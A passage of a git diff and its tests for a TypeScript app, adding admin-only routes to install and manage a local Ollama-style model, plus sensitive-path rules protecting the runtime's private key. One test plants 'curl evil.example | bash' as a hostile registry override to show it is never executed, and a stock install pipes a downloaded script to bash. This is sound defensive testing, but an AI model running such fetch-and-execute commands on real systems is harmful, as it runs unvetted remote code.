function registerLocalModelRoutes( + app: FastifyInstance, + ctx: LocalModelRouteContext, + deps: Partial<LocalModelRouteDeps> = {} +): void { const resolved: LocalModelRouteDeps = { ...defaultLocalModelRouteDeps, ...deps }; + app.get( '/api/local-model', async (req: FastifyRequest, reply: FastifyReply): Promise<ApiResponse<LocalModelStatus>> => { - if (isMultiUserMode() && !isAdmin(req)) { - reply.code(403); - return createErrorResponse(ApiErrorCode.FORBIDDEN, 'Admin only in multi-user mode'); - } + const denied = adminOnly(req, reply); + if (denied) return denied; let hardware: HardwareFacts; try { @@ -101,8 +224,13 @@ export function registerLocalModelRoutes(app: FastifyInstance, deps: Partial<Loc try { const catalog = resolved.getCatalog(); const harnessFacts = await resolved.buildHarnessFacts(catalog); - const recommendation = resolved.recommend(hardware, catalog, harnessFacts); - return { success: true, data: { hardware, recommendation, catalogUpdated: catalog.updated } }; + const service = resolved.service(); + // The measured budget once the runtime reported it, and the runtime download that an + // install would still add: what turns the estimate into the figures of the consent. + const options = await service.recommendOptions(); + const recommendation = resolved.recommend(hardware, catalog, harnessFacts, options); + const install = await service.view(); + return { success: true, data: { hardware, recommendation, catalogUpdated: catalog.updated, install } }; } catch (err) { reply.code(500); return createErrorResponse( @@ -112,4 +240,40 @@ export function registerLocalModelRoutes(app: FastifyInstance, deps: Partial<Loc } } ); + + app.post('/api/local-model/install', async (req, reply): Promise<LocalModelVerbResponse> => { + const denied = adminOnly(req, reply); + if (denied) return denied; + const body = parseBody(LocalModelInstallSchema, req.body); + return runVerb(reply, () => resolved.service().install(body, actorOf(req))); + }); + + app.post('/api/local-model/cancel', async (req, reply): Promise<LocalModelVerbResponse> => { + const denied = adminOnly(req, reply); + if (denied) return denied; + return runVerb(reply, () => resolved.service().cancel()); + }); + + app.post('/api/local-model/resume', async (req, reply): Promise<LocalModelVerbResponse> => { + const denied = adminOnly(req, reply); + if (denied) return denied; + const body = parseBody(LocalModelResumeSchema, req.body ?? {}); + return runVerb(reply, () => resolved.service().resume(body, actorOf(req))); + }); + + app.post('/api/local-model/runtime', async (req, reply): Promise<LocalModelVerbResponse> => { + const denied = adminOnly(req, reply); + if (denied) return denied; + const body = parseBody(LocalModelRuntimeSchema, req.body); + return runVerb(reply, () => resolved.service().runtime(body)); + }); + + app.delete('/api/local-model', async (req, reply): Promise<LocalModelVerbResponse> => { + const denied = adminOnly(req, reply); + if (denied) return denied; + const body = parseBody(LocalModelRemoveSchema, req.body ?? {}); + // Asked at the moment of the request: a session that started a second ago counts. + const sessionNames = sessionNamesUsingEndpoint(ctx.sessions.values()); + return runVerb(reply, () => resolved.service().remove(body, sessionNames, actorOf(req))); + }); } diff --git a/src/web/routes/session-routes.ts b/src/web/routes/session-routes.ts index b7ba3f41..e9838774 100644 --- a/src/web/routes/session-routes.ts +++ b/src/web/routes/session-routes.ts @@ -82,6 +82,7 @@ import { CustomModelSelectionSchema, } from '../schemas.js'; import { readCustomModelHosts, resolveCustomModelContextLength } from '../../custom-model-hosts.js'; +import { getLocalModelService } from '../../local-model/install-job.js'; import { applyCustomModelInjection, removeConfigDir } from '../../custom-model-injection-apply.js'; import { buildCustomModelInjection } from '../../custom-model-injection.js'; import { @@ -1783,6 +1784,11 @@ export function registerSessionRoutes( if (!endpoint) { return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Model endpoint not found'); } + // The model Codeman runs on this Mac: only while its own runtime is up, and only the model + // that was installed, with the digest stored then (undefined for every other endpoint). + // Before anything is written or restarted. + const localModelRefusal = await getLocalModelService().launchRefusalMessage(endpoint.id, body.modelId); + if (localModelRefusal) return createErrorResponse(ApiErrorCode.OPERATION_FAILED, localModelRefusal); // Discovery's per-model figure wins; the endpoint's user-set default covers models // whose size discovery could not determine (a gateway that states none, say). With // neither, the existing "no override, CLI assumes its own default" behaviour stands. @@ -4772,6 +4778,11 @@ export function registerSessionRoutes( const cmHosts = await readCustomModelHosts(CODEMAN_CONFIG_DIR); const cmEndpoint = cmHosts.find((h) => h.id === customModel.endpointId); if (!cmEndpoint) return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Model endpoint not found'); + // See the dedicated route: the model Codeman runs on this Mac is launched only while its + // own runtime is up and its digest is the one stored at install time. Before any + // confirmation is asked for and before a session exists. + const cmLocalModelRefusal = await getLocalModelService().launchRefusalMessage(cmEndpoint.id, customModel.modelId); + if (cmLocalModelRefusal) return createErrorResponse(ApiErrorCode.OPERATION_FAILED, cmLocalModelRefusal); // Per-model discovery figure first, user-set endpoint default second, nothing third // (see the dedicated route's own comment above). const cmContextLength = resolveCustomModelContextLength(cmEndpoint, customModel.modelId); diff --git a/src/web/schemas.ts b/src/web/schemas.ts index 652a81c4..0ca72056 100644 --- a/src/web/schemas.ts +++ b/src/web/schemas.ts @@ -2466,6 +2466,43 @@ export const CustomModelHostSchema = z.object({ defaultContextLength: z.number().int().positive().max(MAX_DISCOVERED_CONTEXT_TOKENS).optional(), }); +// ---------- Local model install (src/web/routes/local-model-routes.ts) ---------- + +/** + * A model id as the local model catalogue writes it: `name:tag`, lowercase, no slash. The + * same pattern as `LOCAL_MODEL_ID_PATTERN` in config/local-model-catalog.ts, repeated here as + * a request-shape check: without a slash an id can never name another registry host. The + * real gate is the route's own lookup of the id in what the server offers. + */ +const localModelId = z + .string() + .max(200) + .regex(/^[a-z0-9][a-z0-9._-]*:[a-z0-9][a-z0-9._-]*$/, 'Invalid model id'); + +/** POST /api/local-model/install: the row the person chose and the size they confirmed. */ +export const LocalModelInstallSchema = z + .object({ + modelId: localModelId, + cli: z + .string() + .max(64) + .regex(/^[a-z0-9][a-z0-9_-]*$/, 'Invalid coding agent id'), + context: z.number().int().positive().max(MAX_DISCOVERED_CONTEXT_TOKENS), + acknowledgedBytes: z.number().int().nonnegative().max(Number.MAX_SAFE_INTEGER), + }) + .strict(); + +/** POST /api/local-model/resume. The body may be empty. */ +export const LocalModelResumeSchema = z.object({ newPort: z.boolean().optional() }).strict(); + +/** POST /api/local-model/runtime. */ +export const LocalModelRuntimeSchema = z + .object({ action: z.enum(['start', 'stop']), newPort: z.boolean().optional() }) + .strict(); + +/** DELETE /api/local-model. The body may be empty. */ +export const LocalModelRemoveSchema = z.object({ removeModel: z.boolean().optional() }).strict(); + /** * A shell-safe bare word, mirroring `config/cli-registry/schema.ts`'s own `shellToken` — * duplicated rather than imported, since the REAL safety boundary for anything built from diff --git a/src/web/sensitive-path.ts b/src/web/sensitive-path.ts index 0189dbe4..c26b9009 100644 --- a/src/web/sensitive-path.ts +++ b/src/web/sensitive-path.ts @@ -113,6 +113,11 @@ const SENSITIVE_PATTERNS: RegExp[] = [ /\/\.codeman[^/]*\/webhook\.json$/, /\/\.codeman[^/]*\/custom-model-hosts\.json$/, /\/\.codeman[^/]*\/custom-model-configs\//, + // The local model runtime (src/local-model/) is started with a private HOME inside the data + // dir and makes a key pair for itself there (`home/.ollama/id_ed25519`). A runtime the user + // runs on their own keeps the same key under their real home. + /\/\.codeman[^/]*\/local-model\/home\//, + /\/\.ollama\/id_ed25519$/, // Config backups are dated COPIES of the files above (users.json and settings.json // included), which the name-anchored patterns do not match. A custom // `configBackupDir` is outside what a pattern here can name. diff --git a/src/web/server.ts b/src/web/server.ts index 67ee93a5..d8f2ace3 100644 --- a/src/web/server.ts +++ b/src/web/server.ts @@ -146,6 +146,7 @@ import { probeLocalPaths, readClaudeEditSources, resolveClaudeTranscript } from import { remoteLocateClaudeTranscript, remoteProbePaths, remoteReadClaudeEditSources } from '../remote-files.js'; import { remoteTmuxLocation } from '../tmux-manager.js'; import { stopDeepSeekWeb } from '../deepseek-web-server.js'; +import { getLocalModelService } from '../local-model/install-job.js'; import { wireRespawnListeners, setupTimedRespawn, @@ -1418,7 +1419,7 @@ export class WebServer extends EventEmitter { registerDoctorRoutes(this.app); registerCustomModelRoutes(this.app); registerCliRegistryRoutes(this.app); - registerLocalModelRoutes(this.app); + registerLocalModelRoutes(this.app, ctx); // Cron: build the service from the same context, recompute // due times for any persisted jobs, then expose it to its routes. @@ -3441,6 +3442,14 @@ export class WebServer extends EventEmitter { } } + // The model Codeman runs on this Mac (src/local-model/): a job a restart interrupted comes + // back paused and waits for a click, and an installed runtime that was not stopped is + // started again (an own orphan on its port is adopted or replaced). Off the startup path: + // boot() never throws, and nothing waits for a runtime to answer. Not in tests. + if (!this.testMode) { + void getLocalModelService().boot(); + } + // Sweep agent preamble caches whose sessions are gone (see // pruneAgentSessionPreambles). Once per boot, after restore, so every session this // instance owns is in the keep set. Best-effort and off the startup critical path. @@ -4590,6 +4599,13 @@ export class WebServer extends EventEmitter { // got wrong once. void stopDeepSeekWeb(); + // The local model runtime is a non-detached child, but a child is not ended by its + // parent's exit: it gets SIGTERM here, and an install job in flight is interrupted (the + // next start reads it as paused). An orphan a hard kill leaves is adopted at the next boot. + if (!this.testMode) { + void getLocalModelService().shutdown(); + } + // The header's GPU / CPU clock sampler is a Windows child process under WSL, and its idle sweep a timer. stopHostSensors(); diff --git a/test/local-model-connect.test.ts b/test/local-model-connect.test.ts new file mode 100644 index 00000000..c1dd2150 --- /dev/null +++ b/test/local-model-connect.test.ts @@ -0,0 +1,417 @@ +/** + * @fileoverview Connecting the installed local model to Codeman and undoing it + * (src/local-model/connect.ts): the two writes outside the local model folder. + * + * What is pinned: + * - the endpoint record's exact shape, and that it passes the schema every saved endpoint passes; + * - connecting writes the record and switches the settings flag on, keeps every other + * endpoint and setting, and is idempotent; + * - the reserved id is never taken over: a record with it that is not ours refuses the + * connect and changes nothing; + * - a refused write leaves the pair as it was (a record this call added is taken out again); + * - disconnecting removes our record, and restores the flag ONLY when this feature switched + * it on and no other endpoint is saved; + * - the digest comparison, the session names of the DELETE's 409, the managed-record test, + * and that the runtime's private key cannot be served. + * + * Port: N/A (no server; the two files live in the test's temp data dir). + */ +import { afterEach, describe, expect, it, vi } from 'vitest'; +import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; +import { dirname, join } from 'node:path'; +import { dataPath, getDataDir } from '../src/config/instance.js'; +import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js'; +import { + buildLocalEndpointRecord, + compareModelDigest, + connectLocalModel, + disconnectLocalModel, + ensureLocalEndpoint, + isLocalModelEndpointId, + isManagedLocalEndpoint, + LOCAL_MODEL_ENDPOINT_ID, + LOCAL_MODEL_ENDPOINT_LABEL, + moveLocalEndpoint, + sessionNamesUsingEndpoint, +} from '../src/local-model/connect.js'; +import { CustomModelHostSchema } from '../src/web/schemas.js'; +import { SETTINGS_PATH } from '../src/web/route-helpers.js'; +import { isSensitivePath } from '../src/web/sensitive-path.js'; + +const HOSTS = () => customModelHostsPath(getDataDir()); +const STATE = () => dataPath('local-model.json'); + +const INPUT = { port: 11435, modelId: 'qwen3.6:35b-a3b', context: 131072 }; + +const OTHER: CustomModelHost = { + id: 'office-gpu', + label: 'Office GPU', + baseUrl: 'http://192.168.1.50:8080', + apiKey: 'sk-keep-me', + models: ['some-model'], +}; + +const RECORD: CustomModelHost = { + id: 'local-ollama', + label: 'This Mac', + baseUrl: 'http://127.0.0.1:11435', + authStyle: 'bearer', + models: ['qwen3.6:35b-a3b'], + defaultModelId: 'qwen3.6:35b-a3b', + defaultContextLength: 131072, +}; + +function writeSettings(settings: Record<string, unknown>): void { + mkdirSync(dirname(SETTINGS_PATH), { recursive: true }); + writeFileSync(SETTINGS_PATH, JSON.stringify(settings)); +} + +const readSettings = (): Record<string, unknown> => JSON.parse(readFileSync(SETTINGS_PATH, 'utf8')); + +function writeHosts(hosts: CustomModelHost[]): void { + writeFileSync(HOSTS(), JSON.stringify(hosts)); +} + +afterEach(() => { + rmSync(HOSTS(), { force: true }); + rmSync(SETTINGS_PATH, { force: true }); + rmSync(STATE(), { force: true }); + vi.restoreAllMocks(); +}); + +describe('buildLocalEndpointRecord', () => { + it('is the one record this feature writes, to the letter', () => { + expect(LOCAL_MODEL_ENDPOINT_ID).toBe('local-ollama'); + expect(LOCAL_MODEL_ENDPOINT_LABEL).toBe('This Mac'); + expect(buildLocalEndpointRecord(INPUT)).toEqual(RECORD); + }); + + it('carries no API key and no field of its own invention', () => { + expect(Object.keys(buildLocalEndpointRecord(INPUT)).sort()).toEqual([ + 'authStyle', + 'baseUrl', + 'defaultContextLength', + 'defaultModelId', + 'id', + 'label', + 'models', + ]); + }); + + it('passes the schema a saved endpoint must pass, unchanged', () => { + const parsed = CustomModelHostSchema.safeParse(buildLocalEndpointRecord(INPUT)); + expect(parsed.success).toBe(true); + expect(parsed.data).toEqual(RECORD); + }); + + it('the port of the runtime is the port of the URL, and the chosen context is the default context', () => { + const record = buildLocalEndpointRecord({ port: 11442, modelId: 'gpt-oss:20b', context: 65536 }); + expect(record.baseUrl).toBe('http://127.0.0.1:11442'); + expect(record.models).toEqual(['gpt-oss:20b']); + expect(record.defaultModelId).toBe('gpt-oss:20b'); + expect(record.defaultContextLength).toBe(65536); + }); +}); + +describe('connectLocalModel', () => { + it('on a fresh data dir: writes the record, switches the flag on, and reports that it was off', async () => { + const result = await connectLocalModel({ ...INPUT, ours: false }); + expect(result).toEqual({ ok: true, flagWasEnabled: false }); + expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]); + expect(readSettings()).toEqual({ customModelEndpointsEnabled: true }); + }); + + it('keeps every other endpoint and every other setting', async () => { + writeHosts([OTHER]); + writeSettings({ tmuxHistoryLimit: 5000, customModelEndpointsEnabled: false, voiceSettings: { apiKey: 'dg' } }); + const result = await connectLocalModel({ ...INPUT, ours: false }); + expect(result).toEqual({ ok: true, flagWasEnabled: false }); + expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]); + expect(readSettings()).toEqual({ + tmuxHistoryLimit: 5000, + customModelEndpointsEnabled: true, + voiceSettings: { apiKey: 'dg' }, + }); + }); + + it('a flag that was already on is reported as such and the settings file is not rewritten', async () => { + writeSettings({ customModelEndpointsEnabled: true, caseOrder: ['a'] }); + const before = readFileSync(SETTINGS_PATH, 'utf8'); + const result = await connectLocalModel({ ...INPUT, ours: false }); + expect(result).toEqual({ ok: true, flagWasEnabled: true }); + expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(before); + }); + + it('is idempotent: a second connect replaces our record and hands the first flag value back', async () => { + writeHosts([OTHER]); + const first = await connectLocalModel({ ...INPUT, ours: false }); + expect(first).toEqual({ ok: true, flagWasEnabled: false }); + // The second connect finds the flag ON, because the first switched it on. The value that + // is remembered must stay the one from before this feature touched it. + const second = await connectLocalModel({ ...INPUT, context: 65536, ours: true, flagWasEnabled: false }); + expect(second).toEqual({ ok: true, flagWasEnabled: false }); + const hosts = await readCustomModelHosts(getDataDir()); + expect(hosts.map((host) => host.id)).toEqual(['office-gpu', 'local-ollama']); + expect(hosts[1].defaultContextLength).toBe(65536); + }); + + it('replaces our own record in place when the state says it is ours', async () => { + writeHosts([{ ...RECORD, baseUrl: 'http://127.0.0.1:11440', models: ['old:1b'] }, OTHER]); + const result = await connectLocalModel({ ...INPUT, ours: true, flagWasEnabled: true }); + expect(result).toEqual({ ok: true, flagWasEnabled: true }); + expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD, OTHER]); + }); + + it('never takes over a record with the reserved id that is not ours, and changes nothing', async () => { + const theirs: CustomModelHost = { id: 'local-ollama', label: 'My own Ollama', baseUrl: 'http://127.0.0.1:11434' }; + writeHosts([theirs]); + writeSettings({ customModelEndpointsEnabled: false }); + const hostsBefore = readFileSync(HOSTS(), 'utf8'); + const settingsBefore = readFileSync(SETTINGS_PATH, 'utf8'); + const result = await connectLocalModel({ ...INPUT, ours: false }); + expect(result).toEqual({ ok: false, code: 'endpoint-id-taken' }); + expect(readFileSync(HOSTS(), 'utf8')).toBe(hostsBefore); + expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settingsBefore); + }); + + it('an endpoint store that does not parse is connect-failed: neither file is touched', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + writeFileSync(HOSTS(), '[{"id":"x","apiKey":"sk-secret"},'); + writeSettings({ customModelEndpointsEnabled: false }); + const result = await connectLocalModel({ ...INPUT, ours: false }); + expect(result).toMatchObject({ ok: false, code: 'connect-failed' }); + expect(result.ok === false && result.detail).toContain('custom-model-hosts.json'); + expect(result.ok === false && result.detail).not.toContain('sk-secret'); + expect(readFileSync(HOSTS(), 'utf8')).toBe('[{"id":"x","apiKey":"sk-secret"},'); + expect(readSettings()).toEqual({ customModelEndpointsEnabled: false }); + }); + + it('a settings file that does not parse is connect-failed, and the record just added is taken out again', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + writeHosts([OTHER]); + mkdirSync(dirname(SETTINGS_PATH), { recursive: true }); + writeFileSync(SETTINGS_PATH, '{"customModelEndpointsEnabled":'); + const result = await connectLocalModel({ ...INPUT, ours: false }); + expect(result).toMatchObject({ ok: false, code: 'connect-failed' }); + expect(result.ok === false && result.detail).toContain('settings.json'); + // The pair is not left half done: a later attempt starts from the same place. + expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]); + expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe('{"customModelEndpointsEnabled":'); + }); + + it('a settings failure does not take out a record that was ours before this call', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + writeHosts([RECORD]); + mkdirSync(dirname(SETTINGS_PATH), { recursive: true }); + writeFileSync(SETTINGS_PATH, 'not json'); + const result = await connectLocalModel({ ...INPUT, ours: true, flagWasEnabled: false }); + expect(result).toMatchObject({ ok: false, code: 'connect-failed' }); + expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]); + }); + + it('a port that cannot be a URL is connect-failed before anything is written', async () => { + const result = await connectLocalModel({ port: Number.NaN, modelId: 'x:y', context: 131072, ours: false }); + expect(result).toMatchObject({ ok: false, code: 'connect-failed' }); + expect(existsSync(HOSTS())).toBe(false); + expect(existsSync(SETTINGS_PATH)).toBe(false); + }); +}); + +describe('moveLocalEndpoint', () => { + it('moves our record to the new port and keeps everything else of it', async () => { + writeHosts([OTHER, RECORD]); + await moveLocalEndpoint(11441); + expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, { ...RECORD, baseUrl: 'http://127.0.0.1:11441' }]); + }); + + it('a missing record is not an error and creates no file', async () => { + await moveLocalEndpoint(11441); + expect(existsSync(HOSTS())).toBe(false); + writeHosts([OTHER]); + await moveLocalEndpoint(11441); + expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]); + }); +}); + +describe('ensureLocalEndpoint', () => { + it('puts our record back when it is gone, keeps the other endpoints, and does not touch the settings', async () => { + writeHosts([OTHER]); + writeSettings({ customModelEndpointsEnabled: false }); + expect(await ensureLocalEndpoint(INPUT)).toBe(true); + expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]); + // A person who switched the setting off meant to. + expect(readSettings()).toEqual({ customModelEndpointsEnabled: false }); + }); + + it('never replaces a record that is there, ours or not', async () => { + const theirs: CustomModelHost = { id: 'local-ollama', label: 'Edited', baseUrl: 'http://127.0.0.1:11499' }; + writeHosts([theirs]); + const before = readFileSync(HOSTS(), 'utf8'); + expect(await ensureLocalEndpoint(INPUT)).toBe(false); + expect(readFileSync(HOSTS(), 'utf8')).toBe(before); + }); + + it('never throws: a store that does not parse is left alone', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + writeFileSync(HOSTS(), '{broken'); + expect(await ensureLocalEndpoint(INPUT)).toBe(false); + expect(readFileSync(HOSTS(), 'utf8')).toBe('{broken'); + }); +}); + +describe('disconnectLocalModel', () => { + it('removes our record and switches the flag off again when this feature switched it on and no other endpoint is left', async () => { + writeHosts([RECORD]); + writeSettings({ customModelEndpointsEnabled: true, tmuxHistoryLimit: 5000 }); + await disconnectLocalModel({ flagWasEnabled: false }); + expect(await readCustomModelHosts(getDataDir())).toEqual([]); + expect(readSettings()).toEqual({ customModelEndpointsEnabled: false, tmuxHistoryLimit: 5000 }); + }); + + it('leaves the flag on when it was on before this feature', async () => { + writeHosts([RECORD]); + writeSettings({ customModelEndpointsEnabled: true }); + await disconnectLocalModel({ flagWasEnabled: true }); + expect(await readCustomModelHosts(getDataDir())).toEqual([]); + expect(readSettings()).toEqual({ customModelEndpointsEnabled: true }); + }); + + it('leaves the flag on when another endpoint is still saved, although this feature switched it on', async () => { + writeHosts([OTHER, RECORD]); + writeSettings({ customModelEndpointsEnabled: true }); + await disconnectLocalModel({ flagWasEnabled: false }); + expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]); + expect(readSettings()).toEqual({ customModelEndpointsEnabled: true }); + }); + + it('leaves the flag on when it was on before AND another endpoint is saved', async () => { + writeHosts([RECORD, OTHER]); + writeSettings({ customModelEndpointsEnabled: true }); + await disconnectLocalModel({ flagWasEnabled: true }); + expect(readSettings()).toEqual({ customModelEndpointsEnabled: true }); + }); + + it('is idempotent: a second call changes nothing, and a flag somebody switched off stays off', async () => { + writeHosts([RECORD]); + writeSettings({ customModelEndpointsEnabled: true }); + await disconnectLocalModel({ flagWasEnabled: false }); + const hosts = readFileSync(HOSTS(), 'utf8'); + const settings = readFileSync(SETTINGS_PATH, 'utf8'); + await disconnectLocalModel({ flagWasEnabled: false }); + expect(readFileSync(HOSTS(), 'utf8')).toBe(hosts); + expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settings); + }); + + it('with nothing saved at all it writes neither file', async () => { + await disconnectLocalModel({ flagWasEnabled: false }); + expect(existsSync(HOSTS())).toBe(false); + expect(existsSync(SETTINGS_PATH)).toBe(false); + }); + + it('rejects when the endpoint store must not be overwritten, and leaves the flag alone', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + writeFileSync(HOSTS(), '{broken'); + writeSettings({ customModelEndpointsEnabled: true }); + await expect(disconnectLocalModel({ flagWasEnabled: false })).rejects.toThrow('custom-model-hosts.json'); + expect(readSettings()).toEqual({ customModelEndpointsEnabled: true }); + }); + + it('connect then disconnect leaves the data dir as it was found', async () => { + writeHosts([OTHER]); + writeSettings({ customModelEndpointsEnabled: true, caseOrder: ['a', 'b'] }); + const connected = await connectLocalModel({ ...INPUT, ours: false }); + expect(connected).toEqual({ ok: true, flagWasEnabled: true }); + await disconnectLocalModel({ flagWasEnabled: true }); + expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]); + expect(readSettings()).toEqual({ customModelEndpointsEnabled: true, caseOrder: ['a', 'b'] }); + }); +}); + +describe('the reserved id and the managed record', () => { + it('isLocalModelEndpointId is an exact match', () => { + expect(isLocalModelEndpointId('local-ollama')).toBe(true); + for (const id of ['Local-Ollama', 'local-ollama ', 'local-ollama-2', 'ollama', '']) { + expect(isLocalModelEndpointId(id)).toBe(false); + } + }); + + it('a record with the reserved id is managed only while the state file records it as ours', async () => { + // No state file: somebody made that record by hand. + expect(await isManagedLocalEndpoint('local-ollama')).toBe(false); + const installed = { + schema: 1, + state: 'installed', + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 }, + cli: { id: 'opencode', label: 'OpenCode' }, + runtime: { version: '0.40.15', port: 11435, enabled: true }, + }; + writeFileSync(STATE(), JSON.stringify(installed)); + expect(await isManagedLocalEndpoint('local-ollama')).toBe(false); + writeFileSync( + STATE(), + JSON.stringify({ ...installed, connection: { endpointId: 'local-ollama', flagWasEnabled: false } }) + ); + expect(await isManagedLocalEndpoint('local-ollama')).toBe(true); + // Any other id is never managed, whatever the state file says. + expect(await isManagedLocalEndpoint('office-gpu')).toBe(false); + }); +}); + +describe('sessionNamesUsingEndpoint', () => { + const sessions = [ + { name: 'w1-app', customModel: { endpointId: 'local-ollama' } }, + { name: 'w2-app' }, + { name: 'w3-lib', customModel: { endpointId: 'office-gpu' } }, + { name: 'w4-lib', customModel: { endpointId: 'local-ollama' } }, + ]; + + it('names the sessions on our endpoint, in the order given', () => { + expect(sessionNamesUsingEndpoint(sessions)).toEqual(['w1-app', 'w4-lib']); + }); + + it('takes any iterable and another endpoint id', () => { + expect(sessionNamesUsingEndpoint(new Set(sessions), 'office-gpu')).toEqual(['w3-lib']); + expect(sessionNamesUsingEndpoint(new Map().values())).toEqual([]); + }); +}); + +describe('compareModelDigest', () => { + const digest = '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba'; + + it('same digest, same model', () => { + expect(compareModelDigest(digest, digest)).toBe('same'); + }); + + it('a prefix or another letter case is not a change', () => { + expect(compareModelDigest(digest, `sha256:${digest}`)).toBe('same'); + expect(compareModelDigest(digest.toUpperCase(), ` ${digest} `)).toBe('same'); + }); + + it('another digest under the same name is a change', () => { + expect(compareModelDigest(digest, digest.replace(/^0/, '1'))).toBe('changed'); + expect(compareModelDigest(digest, digest.slice(0, 12))).toBe('changed'); + }); + + it('is unknown when either side is absent or empty', () => { + expect(compareModelDigest(undefined, digest)).toBe('unknown'); + expect(compareModelDigest(digest, undefined)).toBe('unknown'); + expect(compareModelDigest('', digest)).toBe('unknown'); + expect(compareModelDigest(digest, 'sha256:')).toBe('unknown'); + expect(compareModelDigest(undefined, undefined)).toBe('unknown'); + }); +}); + +describe('the runtime keeps a private key that is never served', () => { + it('everything in the private home is on the sensitive list, and so is a runtime key under a real home', () => { + const home = join(getDataDir(), 'local-model', 'home'); + expect(isSensitivePath(join(home, '.ollama', 'id_ed25519'))).toBe(true); + expect(isSensitivePath(join(home, '.ollama', 'id_ed25519.pub'))).toBe(true); + expect(isSensitivePath('/Users/me/.codeman-beta/local-model/home/.ollama/server.json')).toBe(true); + expect(isSensitivePath('/Users/me/.ollama/id_ed25519')).toBe(true); + }); + + it('the model store and the state file hold no secret and stay ordinary files', () => { + expect(isSensitivePath(join(getDataDir(), 'local-model', 'models', 'manifest'))).toBe(false); + expect(isSensitivePath('/Users/me/.ollama/models/blobs/sha256-abc')).toBe(false); + }); +}); diff --git a/test/local-model-harness-facts.test.ts b/test/local-model-harness-facts.test.ts index 7c0409b7..ae476753 100644 --- a/test/local-model-harness-facts.test.ts +++ b/test/local-model-harness-facts.test.ts @@ -12,6 +12,9 @@ * - The registry's install command resolver reads `process.platform` and falls back to the * Linux command, so on a Linux machine it never returns a macOS command. The macOS cases * inject `installCommandFor` and read the entry's own `darwin` command. + * - The command a fact carries (`installCommand`) is the COMPILED stock command, the one the + * install job would run. A `clis.json` override changes what the registry shows and must + * not change it. * * Port: none (no server; the on-disk case uses the per-file temp HOME from test/setup.ts). */ @@ -24,6 +27,7 @@ import { cliAcceptsCustomModelId, installCommandNeedsAdmin, } from '../src/local-model/harness-facts.js'; +import { stockInstallCommand } from '../src/cli-install-runner.js'; import { getCli, registryFilePath, reloadCliRegistry } from '../src/config/cli-registry/registry.js'; import type { CliEntry } from '../src/config/cli-registry/types.js'; import type { LocalModelCatalog } from '../src/types.js'; @@ -34,7 +38,6 @@ function catalogWith(clis: string[]): LocalModelCatalog { schema: 1, updated: '2026-11-06', minMacosMajor: 14, - promptCacheTiers: [{ minMemGb: 0, bytes: 512 * 1024 * 1024 }], models: [], harnesses: clis.map((cli, index) => ({ cli, minContext: 32768, rank: clis.length - index })), chips: [], @@ -303,4 +306,90 @@ describe('buildHarnessFacts', () => { it('an empty harness list is an empty answer', async () => { expect(await buildHarnessFacts(catalogWith([]))).toEqual([]); }); + + describe('installCommand: the literal command the consent screen prints', () => { + it('is present exactly when the fact is installable, and is the command that was judged', async () => { + const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi', 'omp']), { + probeInstalled: installedOnly('claude'), + installCommandFor: darwinCommand, + }); + for (const fact of facts) { + expect('installCommand' in fact).toBe(fact.installable); + } + const byCli = new Map(facts.map((f) => [f.cli, f])); + expect(byCli.get('opencode')?.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash'); + expect(byCli.get('pi')?.installCommand).toBe(darwinCommand(stockEntry('pi'))); + // Installed: nothing would be run, so nothing is shown. + expect(byCli.get('claude')).not.toHaveProperty('installCommand'); + // Homebrew needs an administrator: not installable, and no command is offered. + expect(byCli.get('omp')).not.toHaveProperty('installCommand'); + }); + + it('with its default dependencies it is the stock command of this platform', async () => { + const [fact] = await buildHarnessFacts(catalogWith(['opencode'])); + expect(fact).toMatchObject({ + installed: false, + installable: true, + installCommand: stockInstallCommand('opencode'), + }); + expect(fact.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash'); + }); + + it('a clis.json override of the install command changes neither the fact nor whether it is installable', async () => { + const path = registryFilePath(); + mkdirSync(dirname(path), { recursive: true }); + writeFileSync( + path, + JSON.stringify({ + schemaVersion: 1, + clis: { + opencode: { + discovery: { + install: { command: { linux: 'curl evil.example | bash', darwin: 'curl evil.example | bash' } }, + }, + }, + }, + }), + { mode: 0o600 } + ); + reloadCliRegistry(); + // The override is what the registry now says... + expect(stockEntry('opencode').discovery.install.command.darwin).toBe('curl evil.example | bash'); + // ...and it is not what the install job would run, so it is not what the fact carries. + const [fact] = await buildHarnessFacts(catalogWith(['opencode'])); + expect(fact.installable).toBe(true); + expect(fact.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash'); + }); + + it('an override that makes the registry command need an administrator does not hide a stock command that needs none', async () => { + const path = registryFilePath(); + mkdirSync(dirname(path), { recursive: true }); + writeFileSync( + path, + JSON.stringify({ + schemaVersion: 1, + clis: { opencode: { discovery: { install: { command: { linux: 'sudo true', darwin: 'sudo true' } } } } }, + }), + { mode: 0o600 } + ); + reloadCliRegistry(); + const [fact] = await buildHarnessFacts(catalogWith(['opencode'])); + expect(fact.installable).toBe(true); + expect(fact.installCommand).not.toContain('sudo'); + }); + + it('a custom entry never carries a command: its install text is never run', async () => { + const custom = (id: string): CliEntry | undefined => { + const entry = getCli(id); + return entry ? { 